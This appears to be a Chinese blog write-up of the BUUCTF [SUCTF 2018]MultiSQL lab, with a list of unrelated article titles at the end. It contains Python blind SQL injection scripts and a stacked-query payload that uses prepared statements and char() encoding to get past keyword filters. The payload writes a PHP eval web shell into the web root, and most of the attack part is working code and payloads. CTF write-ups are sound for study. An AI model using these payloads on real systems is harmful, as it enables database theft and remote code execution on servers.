博客
关于我
BUUCTF:[SUCTF 2018]MultiSQL --- 堆叠注入 -- 预处理-- 编码,10进制,16进制。
阅读量:404 次
发布时间:2019-03-05

本文共 3941 字,大约阅读时间需要 13 分钟。

目录:

参考:

一、自己做:

这里试addslash来的

在这里插入图片描述

用户信息中,把反斜线去掉展示的

在这里插入图片描述

在注册的用户名进行测试,

将 or , by 空格| 替换成为@
union select or 都过滤了
,然后在尝试 异或^
substr也被过滤了,然后尝试mid试可以的,
但是这个不好使啊2^(if(ascii(mid(user(),1,1))>0,0,1))。注册页面不好使,然后就看WP了

二、 学到的&&不足:

  1. 有时候python脚本跑sql注入的题的时候要带上cookie。

    我这样跑,总是爆500 。见下面的

  2. 学到了sql注入的预处理命令。?id=2;set @sql=char(12,324,23,23,); prepare query from @sql; execute query;

  3. 异或的一点是,:怎么发现的 可以进行堆叠注入的啊,,

  4. 如果一些关键词被那啥了,可以进行编码绕过什么的,比如以前的那些16进制绕过,还有这个10进制绕过

url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''res = requests.get(url=url)print(res.url)print(res.status_code)print(res.text)

带上cookie后才200了

url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),1,1))>0)'''cookie = {   "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}res = requests.get(url=url,cookies = cookie)print(res.url)print(res.status_code)print(res.text)

三、学习WP:

WP:2^(if(ascii(mid(user(),1,1))>0,0,1))。这个行,但是不是在注册页面

在这里插入图片描述

可以修改id值,然后就改变页面,
我们就注入这里

用了这个if语句试可以的

在这里插入图片描述
不用像WP一样加上if,就我们正常的boll盲注就可以,

在这里插入图片描述

1^进行异或的化,正确就是0,不正确才是0,异或后是1.,这时,name会出现admin。
正确的时候是1,异或后是0,name中不是admin,是空。那么我们python脚本抓的时候,就可以抓admin这个字样

然后照着这个思想写了个python脚本

for i in range(1,15):    for j in range(50,155):        url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),{},1))={})'''.format(i,j)        cookie = {   "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}        res = requests.get(url=url,cookies = cookie) # 注意这里要带上cookie才行,不然跑脚本的化,是500        #print(res.url)        print(res.status_code)        #print(res.text)        content = re.findall('

.*

',res.text,re.M|re.I) # findall返回的是一个列表 #print(content) if ("admin" not in content[0]): # 这里用下标取出元素 database = database+chr(j) print(database) break

能跑出来数据库,我没跑完,看WP说flag不在这里面

在这里插入图片描述

然后测试么,过滤了很多东西:

在注册的用户名进行测试,

将 or , by 空格| 替换成为@
union select or 都过滤了
,然后在尝试 异或^
substr也被过滤了,然后尝试mid试可以的,
但是这个不好使啊2^(if(ascii(mid(user(),1,1))>0,0,1))。注册页面不好使,然后就看WP了

堆叠注入,

然后 fuzz测试后发现过滤了unionselect&|,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()绕过,需要执行的语句

select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';

脚本使用10进制:

str = "select '
' into outfile '/var/www/html/favicon/shell.php';"len_str = len(str)for i in range(0,len_str): if i==0: print('char(%s' %ord(str[i]),end='') else: print(',%s' %ord(str[i]),end='')print(')')

结果:

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

自己的脚本:

str = "select '
' into outfile '/var/www/html/favicon/shell.php';"len_str = len(str)print('char(',end='')for i in str: print('%s,' %ord(i),end='') # 最后会多一个,手动删去就好print(')')

结果:

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59,)

然后

payload:

?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

然后访问那个目录下的shell.php

在这里插入图片描述

转载地址:http://ykgg.baihongyu.com/

你可能感兴趣的文章
netfilter应用场景
查看>>
netlink2.6.32内核实现源码
查看>>
Netpas:不一样的SD-WAN+ 保障网络通讯品质
查看>>
NetScaler的常用配置
查看>>
netsh advfirewall
查看>>
NETSH WINSOCK RESET这条命令的含义和作用?
查看>>
Netstat端口占用情况
查看>>
Netty WebSocket客户端
查看>>
netty 主要组件+黏包半包+rpc框架+源码透析
查看>>
Netty 异步任务调度与异步线程池
查看>>
Netty中集成Protobuf实现Java对象数据传递
查看>>
netty之 定长数据流处理数据粘包问题
查看>>
Netty事件注册机制深入解析
查看>>
Netty原理分析及实战(四)-客户端与服务端双向通信
查看>>
Netty和Tomcat的区别已经性能对比
查看>>
Netty学习总结(5)——Netty之TCP粘包/拆包问题的解决之道
查看>>
Netty客户端断线重连实现及问题思考
查看>>
Netty工作笔记0006---NIO的Buffer说明
查看>>
Netty工作笔记0007---NIO的三大核心组件关系
查看>>
Netty工作笔记0011---Channel应用案例2
查看>>